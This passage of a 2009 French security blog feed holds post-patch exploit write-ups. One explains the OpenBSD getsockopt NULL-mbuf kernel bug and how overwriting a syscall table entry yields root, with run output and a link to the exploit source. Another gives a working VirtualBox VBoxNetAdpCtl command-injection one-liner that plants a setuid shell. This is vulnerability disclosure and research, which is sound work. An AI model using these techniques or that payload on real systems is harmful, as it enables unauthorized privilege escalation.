to map (rw access) at address NULL a fake mbuf with an evil data field. We just have one consideration to take into account, default value for optval in these cases is always 0x00000001 and only root can modify it with a setsockopt() call. So, we can write a 0x00000001 where we want in memory. :-)&lt;br /&gt;&lt;br /&gt;Are you ready to rumble the kernel ?&lt;br /&gt;&lt;br /&gt;Like perl, there is more than one way to do it. At first I was thinking of erasing creds in the proc structure but it is no so simple and I chose to simply override an entry in the syscall table.&lt;br /&gt;&lt;br /&gt;Yes, address of sysent in OpenBSD is static. We just have to override one of the entries (&lt;font style="font-style: italic;"&gt;SYS_fpathconf&lt;/font&gt; for example) with an 0x00000001 value by mapping a fake mbuf at NULL with m-&gt;data = addr of sysent[SYS_fpathconf]. Then we call our evil getsockopt(). When sysent entry is overriden, we remap at NULL a NOP+shellcode which updates the creds of our current process and then call fpathconf() to exec our shellcode and rulez !&lt;br /&gt;&lt;br /&gt;Please, let me know if you have other tricks.&lt;br /&gt;&lt;br /&gt;For more information, I let you see &lt;a href="http://clem1.be/gimme/openbaize.c"&gt;source&lt;/a&gt; of the exploit, for educationnal purpose only of course.&lt;br /&gt;&lt;br /&gt;&lt;font style="" face="verdana" size="1"&gt;&lt;font style="font-style: italic;"&gt;$ &lt;font style="color: rgb(255, 255, 51);"&gt;id&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;uid=1000(clem1) gid=1000(clem1) groups=1000(clem1), 0(wheel)&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;$&lt;font style="color: rgb(255, 255, 51);"&gt; ./openbaize&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ OpenBSD IP_FUCKING_LEVEL getsockopt() local root&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ Found and badcoded by clem1 &lt;/font&gt;&lt;/font&gt;&lt;root be=""&gt;&lt;font style="" face="verdana" size="1"&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ Trying to own this 4.0 OpenBSD OS... 0h0h0h&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ Patching sysent (0xd0715fc4) for syscall number 192 with 0x1... h0h0h0&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ Mapping shellcode at 0x1... calling our new fake evil syscall number 192&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ Hoooooooorray r00t.&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;# &lt;font style="color: rgb(255, 255, 51);"&gt;id&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;uid=0(root) gid=1000(clem1) groups=1000(clem1), 0(wheel)&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;font size="4"&gt;* FAQ:&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Why two different shellcodes ?&lt;br /&gt;&lt;br /&gt;Just because proc and p_cred structures have changed (new level of dereference, new offset).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-7260113621015069847?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/7260113621015069847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=7260113621015069847' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7260113621015069847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7260113621015069847'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/11/openbsd-ownage-party.html' title='OpenBSD ownage party !'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-1563816766280901255</id><published>2009-10-29T11:26:00.000-07:00</published><updated>2009-11-03T07:16:25.999-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sayku'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='openbsd'/><title type='text'>Ce soir c'est OpenBaize !</title><content type='html'>Les &lt;a href="http://www.openbsd.org/errata46.html"&gt;erratas&lt;/a&gt; ainsi que les &lt;a href="ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.6/common/003_getsockopt.patch"&gt;patchs&lt;/a&gt; étant disponibles, je me permet de publier mon exploit ainsi que les explications qui vont avec...&lt;br /&gt;&lt;br /&gt;Les explications sont sans sucre ajouté... je n'ai pas trop le temps en ce moment. :-(&lt;br /&gt;&lt;br /&gt;Peut être que &lt;font style="font-weight: bold;"&gt;Monsieur&lt;/font&gt; &lt;a href="http://xorl.wordpress.com/"&gt;xorl&lt;/a&gt; donnera plus d'explications comme il le fait trop bien.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;font size="4"&gt;* Description de la vulnérabilité.&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;La vulnérabilité est aussi bête à comprendre qu'elle a été simple à trouver. Lorsque le kernel gère un &lt;font style="font-style: italic;"&gt;getsockopt()&lt;/font&gt; il alloue un &lt;font style="font-style: italic;"&gt;mbuf&lt;/font&gt; pour retourner les informations en userland. Par exemple, voici le code pour récupérer le portrange (&lt;font style="font-style: italic;"&gt;IP_PORTRANGE&lt;/font&gt;) :&lt;br /&gt;&lt;br /&gt; &lt;font style="font-style: italic;" face="verdana" size="1"&gt;*mp = NULL;&lt;br /&gt; (...)&lt;br /&gt;case IP_PORTRANGE:&lt;br /&gt; *mp = m = m_get(M_WAIT, MT_SOOPTS);&lt;br /&gt; m-&gt;m_len = sizeof(int);&lt;br /&gt;&lt;br /&gt; if (inp-&gt;inp_flags &amp;amp; INP_HIGHPORT)&lt;br /&gt;     optval = IP_PORTRANGE_HIGH;&lt;br /&gt; else if (inp-&gt;inp_flags &amp;amp; INP_LOWPORT)&lt;br /&gt;     optval = IP_PORTRANGE_LOW;&lt;br /&gt; else&lt;br /&gt;     optval = 0;&lt;br /&gt;&lt;br /&gt; *mtod(m, int *) = optval;&lt;br /&gt; break;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;On voit bien à la ligne 2, que le kernel demande l'allocation d'un &lt;font style="font-style: italic;"&gt;mbuf&lt;/font&gt;.&lt;br /&gt;&lt;br /&gt;Le problème se trouve pour les levels&lt;font style="font-style: italic;"&gt; IP_AUTH_LEVEL, IP_ESP_TRANS_LEVEL, IP_ESP_NETWORK_LEVEL, IP_IPCOMP_LEVEL&lt;/font&gt; où les développeurs d'OpenBSD ont oublié d'allouer un nouveau &lt;font style="font-style: italic;"&gt;mbuf&lt;/font&gt; et ont directement travaillé [1] sur le &lt;font style="font-style: italic;"&gt;mbuf m&lt;/font&gt; qui vaut &lt;font style="font-style: italic;"&gt;NULL&lt;/font&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font style="font-style: italic;" face="verdana" size="1"&gt;case IP_AUTH_LEVEL:&lt;br /&gt; case IP_ESP_TRANS_LEVEL:&lt;br /&gt; case IP_ESP_NETWORK_LEVEL:&lt;br /&gt; case IP_IPCOMP_LEVEL:&lt;br /&gt;     (...)&lt;br /&gt;     m-&gt;m_len = sizeof(int); &lt;font style="color: rgb(255, 0, 0);"&gt;[1]&lt;/font&gt;&lt;br /&gt;     switch (optname) {&lt;br /&gt;     case IP_AUTH_LEVEL:&lt;br /&gt;         optval = inp-&gt;inp_seclevel[SL_AUTH];&lt;br /&gt;         break;&lt;br /&gt;     (...)&lt;br /&gt;     *mtod(m, int *) = optval; &lt;font style="color: rgb(255, 0, 0);"&gt;[2]&lt;/font&gt;&lt;br /&gt;     (...)&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;À l'exécution de [1] le kernel tente d'écrire la taille d'un int à l'adresse &lt;font style="font-style: italic;"&gt;NULL + off(m_len)&lt;/font&gt;. Si la page à l'adresse &lt;font style="font-style: italic;"&gt;NULL&lt;/font&gt; n'est pas alouée, c'est le kernel panic.&lt;br /&gt;&lt;br /&gt;Je n'ai pas regardé en détail depuis quand cette vulnérabilité était présente dans OpenBSD. Je suis descendu jusqu'à la version 3.9 et elle est vulnérable...&lt;br /&gt;&lt;font size="4"&gt;&lt;br /&gt;* Exploitation de la vulnérabilité.&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Tout d'abord pour pouvoir exploiter cette vulnérabilité, il est évident qu'il faut pouvoir mapper une page à l'adresse NULL. OpenBSD, depuis la version 4.4 et pour toutes les architectures, n'autorisent plus cela. J'ai tenté en vitesse de trouver un moyen de bypasser cette protection mais proutprout. La technique d'exploitation décrite ici s'applique donc aux OpenBSD qui ont une version inférieure à la 4.4.&lt;br /&gt;&lt;br /&gt;Dans le code de la vulnérabilité présentée ci-dessus, nous voyons que nous avons en [2] une instruction très intéressante qui va nous permetre d'écrire la valeur comprise dans optval à n'importe quelle adresse mémoire. En effet, la fonction &lt;font style="font-style: italic;"&gt;mtod() &lt;/font&gt;retourne simplement &lt;font style="font-style: italic;"&gt;(int*)m-&gt;data&lt;/font&gt;.&lt;br /&gt;&lt;br /&gt;Vous voyez où je veux en venir ?&lt;br /&gt;&lt;br /&gt;Il suffit de placer (en rw) un faux &lt;font style="font-style: italic;"&gt;mbuf&lt;/font&gt; à l'adresse NULL avec une belle adresse bien poilue dans m-&gt;data. Seulement il y'a quelques limites à prendre en considération... Par défaut, la valeur d'optval sera égale à &lt;font style="font-style: italic;"&gt;0x00000001&lt;/font&gt;, seul le root peut la modifier par &lt;font style="font-style: italic;"&gt;setsockopt&lt;/font&gt;(). Nous pouvons donc écrire un &lt;font style="font-style: italic;"&gt;0x00000001&lt;/font&gt; où l'on veut en mémoire.&lt;br /&gt;&lt;br /&gt;Que faire ?&lt;br /&gt;&lt;br /&gt;Alors là, c'est là où on s'amuse. Je pense qu'il y a plusieurs façons de faire. Au départ j'avais pensé à écraser en 2 coups l'uid dans la structure &lt;font style="font-style: italic;"&gt;proc&lt;/font&gt; du processus courant mais j'ai abandonné et je suis parti pour écraser une entrée de la table des appels système.&lt;br /&gt;&lt;br /&gt;Bein oui, l'adresse d'origine de la table ne bouge pas... il suffit d'écraser une de ces entrées (&lt;font style="font-style: italic;"&gt;SYS_fpathconf&lt;/font&gt; par exemple) avec un 0x00000001 en mappant un faux mbuf avec m-&gt;data = adresse de &lt;font style="font-style: italic;"&gt;sysent[SYS_fpathconf]&lt;/font&gt;. Ensuite une fois que c'est fait, on mappe (en rx), toujours à NULL, un shellcode qui va modifier l&lt;font style="font-style: italic;"&gt;'uid&lt;/font&gt; de la structure &lt;font style="font-style: italic;"&gt;proc&lt;/font&gt; du process courant pour lui donner le root et on appelle l'appel système &lt;font style="font-style: italic;"&gt;fpathconf()&lt;/font&gt; pour exécuter notre shellcode et &lt;font style="font-weight: bold;"&gt;bingo&lt;/font&gt;. Pinuts hein ?&lt;br /&gt;&lt;br /&gt;Si vous pensez à d'autres techniques je suis preneur. ;-)&lt;br /&gt;&lt;br /&gt;Pour plus d'explications, je vous laisser regarder les &lt;a href="http://clem1.be/gimme/openbaize.c"&gt;sources&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;font size="4"&gt;* Taddam, sans les mains !&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;font style="" face="verdana" size="1"&gt;&lt;font style="font-style: italic;"&gt;$ &lt;font style="color: rgb(255, 255, 51);"&gt;id&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;uid=1000(clem1) gid=1000(clem1) groups=1000(clem1), 0(wheel)&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;$&lt;font style="color: rgb(255, 255, 51);"&gt; ./openbaize&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ OpenBSD IP_FUCKING_LEVEL getsockopt() remote root&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ Found and badcoded by clem1 &lt;/font&gt;&lt;/font&gt;&lt;root be=""&gt;&lt;font style="" face="verdana" size="1"&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ Trying to own this 4.0 OpenBSD OS... 0h0h0h&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ Patching sysent (0xd0715fc4) for syscall number 192 with 0x1... h0h0h0&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ Mapping shellcode at 0x1... calling our new fake evil syscall number 192&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;\o/ Hoooooooorray r00t.&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;# &lt;font style="color: rgb(255, 255, 51);"&gt;id&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;font style="font-style: italic;"&gt;uid=0(root) gid=1000(clem1) groups=1000(clem1), 0(wheel)&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;font size="4"&gt;* Pourquoi deux shellcodes ?&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Parce que la structure &lt;font style="font-style: italic;"&gt;proc&lt;/font&gt; et notamment la structure &lt;font style="font-style: italic;"&gt;p_ucred&lt;/font&gt; à l'intérieur a changée entre la version 4.2 et 4.3... donc c'est juste une histoire de niveau de déférencement pour arriver à l'uid du owner du process et d'offset...&lt;/root&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-1563816766280901255?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/1563816766280901255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=1563816766280901255' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/1563816766280901255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/1563816766280901255'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/10/ce-soir-cest-openbaize.html' title='Ce soir c&apos;est OpenBaize !'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-8429022751324714082</id><published>2009-10-28T11:31:00.000-07:00</published><updated>2009-10-28T11:57:58.016-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sayku'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='openbsd'/><category scheme='http://www.blogger.com/atom/ns#' term='moufleurs'/><title type='text'>Mouflage chez OpenBSD</title><content type='html'>Depuis le temps qu'elle loutrait sur mon disque celle &lt;a href="http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/ip_output.c?only_with_tag=HEAD"&gt;là&lt;/a&gt;...&lt;br /&gt;&lt;br /&gt;Je publierai mon exploit quand ils auront patché les stables et publié un errata. En attendant, vous pouvez vous amuser à tenter de gagner le root sur une OpenBSD 4.3 ou à trouver un moyen de bypasser &lt;span style="font-style: italic;"&gt;mmap(NULL)&lt;/span&gt; &lt;a href="http://www.openbsd.org/cgi-bin/cvsweb/src/sys/arch/i386/include/vmparam.h.diff?r1=1.39;r2=1.40"&gt;introduit&lt;/a&gt; dans la 4.4. #@!&lt;br /&gt;&lt;br /&gt;Merci mes fuzzers de 2006...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-8429022751324714082?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/8429022751324714082/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=8429022751324714082' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8429022751324714082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8429022751324714082'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/10/moufflage-chez-openbsd.html' title='Mouflage chez OpenBSD'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-7361815990779692093</id><published>2009-10-13T15:08:00.000-07:00</published><updated>2009-10-14T09:07:57.697-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='moufleurs'/><title type='text'>Moufleurs professionnels chez VirtualBox</title><content type='html'>Extrait du changeLog de VirtualBox :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;« Security: fixed vulnerability that allowed to execute commands with root privileges. »&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;HUM HUM WOOT #@!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Après quelques minutes de recherche, on tombe sur le binaire &lt;span style="font-style: italic;"&gt;VBoxNetAdpCtl&lt;/span&gt; qui est &lt;span style="font-style: italic;"&gt;setuid root&lt;/span&gt; et dont le code vulnérable est disponible &lt;a href="http://www.virtualbox.org/browser/trunk/src/apps/adpctl/VBoxNetAdpCtl.cpp?rev=22000"&gt;ici&lt;/a&gt;. C'est du code bien cradossé, je vous laisse un peu de temps pour trouver la vulnérabilité. ;-)&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Bein oui c'est le popen() qui est fait à la ligne 118 qui nous permet d'injecter des commandes qui seront lancées avec euid = 0. :-)&lt;br /&gt;&lt;br /&gt;&lt;del&gt;Exploit de oufz0r :&lt;/del&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);font-family:verdana;font-size:85%;"  &gt;&lt;span style="color: rgb(153, 153, 153); font-family: verdana;"&gt;[clem1@0dayz ~]$&lt;/span&gt;&lt;span style="color: rgb(51, 51, 51); font-family: verdana;"&gt; /usr/lib/virtualbox/VBoxNetAdpCtl "vboxnet0;cp /bin/dash /tmp/.r00t;chmod +s /tmp/.r00t" "11:11::11" netmask 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51); font-family: verdana;"&gt;vboxnet0: error fetching interface information: Device not found&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51); font-family: verdana;"&gt;SIOGIFINDEX: No such device&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51); font-family: verdana;"&gt;getaddrinfo: 255.255.255.0: -9&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51); font-family: verdana;"&gt;255.255.255.0: Resolver Error 0 (no error)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 153); font-family: verdana;"&gt;[clem1@0dayz ~]$&lt;/span&gt;&lt;span style="color: rgb(51, 51, 51); font-family: verdana;"&gt; /tmp/.r00t&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51); font-family: verdana;"&gt;# id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 51); font-family: verdana;"&gt;uid=1000(clem1) gid=100(users) &lt;span style="color: rgb(102, 0, 0); font-weight: bold;"&gt;euid=&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 0, 0); font-family: verdana; font-weight: bold;"&gt;0(root)&lt;/span&gt;&lt;span style="color: rgb(51, 51, 51); font-family: verdana;"&gt; (...)&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic; color: rgb(255, 255, 255);font-family:verdana;font-size:78%;"  &gt;&lt;br /&gt;# exit&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Attention ça ne marche pas avec toutes les distributions car certaines implémentations de /bin/sh (celle de archlinux) doivent faire une sorte de &lt;span style="font-style: italic;"&gt;seteuid(getuid())&lt;/span&gt; avant d'exécuter un binaire. J'ai pas eu le temps de regarder en détail...&lt;br /&gt;&lt;br /&gt;&amp;lt;privatejoke&amp;gt;&lt;br /&gt;Les développeurs de VirtualBox méritent qu'on leur fasse gobber du flanby périmé. :-)&lt;br /&gt;&amp;lt;/privatejoke&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-7361815990779692093?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/7361815990779692093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=7361815990779692093' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7361815990779692093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7361815990779692093'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/10/moufleurs-professionnels-chez.html' title='Moufleurs professionnels chez VirtualBox'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-8702466736383439283</id><published>2009-07-15T13:19:00.000-07:00</published><updated>2009-07-15T13:28:07.522-07:00</updated><title type='text'>Faille DHCP...</title><content type='html'>CHAIDUBIO.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://bugzilla.redhat.com/attachment.cgi?id=349164"&gt;https://bugzilla.redhat.com/attachment.cgi?id=349164&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Avec bien sûr :&lt;br /&gt;&lt;br /&gt;struct iaddr {&lt;br /&gt;  int len;&lt;br /&gt;  unsigned char iabuf[16];&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.networksorcery.com/enp/protocol/bootp/option001.htm"&gt;phiew&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Je pense que ça vaut le coup de me remettre à &lt;a href="http://pcs.sf.net"&gt;PCS&lt;/a&gt;. :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-8702466736383439283?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/8702466736383439283/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=8702466736383439283' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8702466736383439283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8702466736383439283'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/07/faille-dhcp.html' title='Faille DHCP...'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-2508279593398475897</id><published>2009-06-26T07:31:00.000-07:00</published><updated>2009-06-26T07:38:44.684-07:00</updated><title type='text'>VLC windows backdoor released</title><content type='html'>Des hommes en chapeau blanc ont trouvé la &lt;a href="http://git.videolan.org/?p=vlc.git;a=blobdiff;f=modules/access/smb.c;h=1f1af5b7341f485068b9c1354ca8a2028bb9a86a;hp=5d735f011c7ff952392b1bf05ca86cb639ae463e;hb=e60a9038b13b5eb805a76755efc5c6d5e080180f;hpb=353a8120fb4b4ae66e4a21e7d2efc5e5383fba28"&gt;backdoor&lt;/a&gt; windows déposés par les moulasses de chez VLC. J'adore le message de commit. \o/&lt;br /&gt;&lt;br /&gt;Sinon y'a &lt;a href="http://security-labs.org/fuzzgrind/"&gt;fuzzgrind&lt;/a&gt; qui a été publié, du python, du python, du python, c'est BON !&lt;br /&gt;&lt;br /&gt;Je retourne à mes &lt;a href="http://slashdot.org/comments.pl?sid=1282451&amp;cid=28474907"&gt;nuts&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-2508279593398475897?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/2508279593398475897/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=2508279593398475897' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/2508279593398475897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/2508279593398475897'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2009/06/vlc-windows-backdoor-released.html' title='VLC windows backdoor released'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-8752346988609590750</id><published>2009-06-15T11:10:00.001-07:00</published><updated>2009-06-15T13:32:21.437-07:00</updated><title type='text'>Je ne suis pas mort.</title><content type='html'>Coin les moulasses,&lt;br /&gt;&lt;br /&gt;Après 3 mois de &lt;a href="http://igm.univ-mlv.fr/ens/IR/IR2/2008-2009/Reseau_2/projet.php"&gt;codage&lt;/a&gt; &lt;a href="http://igm.univ-mlv.fr/ens/IR/IR2/2008-2009/Interfaces_Graphiques/projet.php"&gt;très&lt;/a&gt; &lt;a href="http://igm.univ-mlv.fr/ens/IR/IR2/2008-2009/Systeme/projet.php"&gt;intensément&lt;/a&gt; &lt;a href="http://igm.univ-mlv.fr/ens/IR/IR2/2008-2009/Compilation/projet/index.php"&gt;mava-esk&lt;/a&gt; dans les caves d'&lt;a href="http://www.ingenieurs2000.com"&gt;ig2k&lt;/a&gt;, me voilà de retour au &lt;a href="http://netasq.com"&gt;taf&lt;/a&gt; où je pourrais bloguer à volonter comme les légumes à flunch et ce, malgré que je sois surveillé. ;-)&lt;br /&gt;&lt;br /&gt;Allez oust, quelques niouzes sayku de ces dernières semaines.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://phrack.org"&gt;Phrack&lt;/a&gt; numéro #66 est sorti et même si je n'ai pas encore lu tous les articles, je peux déjà dire qu'il rocks des ours. À l'instar du numéro #57, on retrouve pas mal d'articles sur l'exploitation d'heap overflow en userland pour détourner toutes les protections qui ont été ajoutées aux différents allocateurs (ptmalloc2) et même en kernel land sous FreeBSD et Linux (miam). En plus de phrack, j'ai mon voisin aux cheveux longs et au commit bit freebsd qui a les actes du SSTIC posé sur sa table... miam miam les articles sur le fuzzing qui m'ont fait découvrir &lt;a href="http://catchconv.sf.net"&gt;catchconv&lt;/a&gt; ou &lt;a href="code.google.com/p/bunny-the-fuzzer/"&gt;bunny-the-fuzzer&lt;/a&gt;...&lt;br /&gt;&lt;br /&gt;Au niveau des vulns, y'a FreeBSD qui a fait fort la semaine passée avec :&lt;br /&gt;&lt;br /&gt; * &lt;b&gt;une couille dans les ioctl v6&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Dans les ioctl(2) d'IPv6, ils ont laissé une commande (SIOCSIFINFO_IN6) en écriture en openbar pour tout le monde. Un user basique peut placer une MTU très faible sur une interface v6.&lt;br /&gt;&lt;br /&gt; * &lt;b&gt;un integer overflow dans le "direct write" des pipe(2) anonymes&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Poufpouf le codaj :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;size:10pt;"&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;int i, j;&lt;br /&gt;vm_offset_t addr, endaddr;&lt;br /&gt;(...)&lt;br /&gt;pmap = vmspace_pmap(curproc-&gt;p_vmspace);  &lt;br /&gt;endaddr = round_page((vm_offset_t)uio-&gt;uio_iov-&gt;iov_base + size);  &lt;br /&gt;addr = trunc_page((vm_offset_t)uio-&gt;uio_iov-&gt;iov_base);  &lt;br /&gt;for (i = 0; addr &lt; endaddr; addr += PAGE_SIZE, i++) {  &lt;br /&gt;  (...)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;size&lt;/span&gt; correspond, à quelques checks près, à la taille de la zone à écrire dans le pipe, lors de l'opération &lt;span style="font-style:italic;"&gt;uio-&gt;uio_iov-&gt;iov_base + size&lt;/span&gt; pour déterminer l'adresse de la fin de zone, un integer overflow peut intervenir. Ainsi dans ce cas, des données confidentielles du noyau ou d'un autre process peuvent être écrites dans le pipe, reste plus qu'a les lire de l'autre côté. :-)&lt;br /&gt;&lt;br /&gt; * &lt;b&gt;une pluie 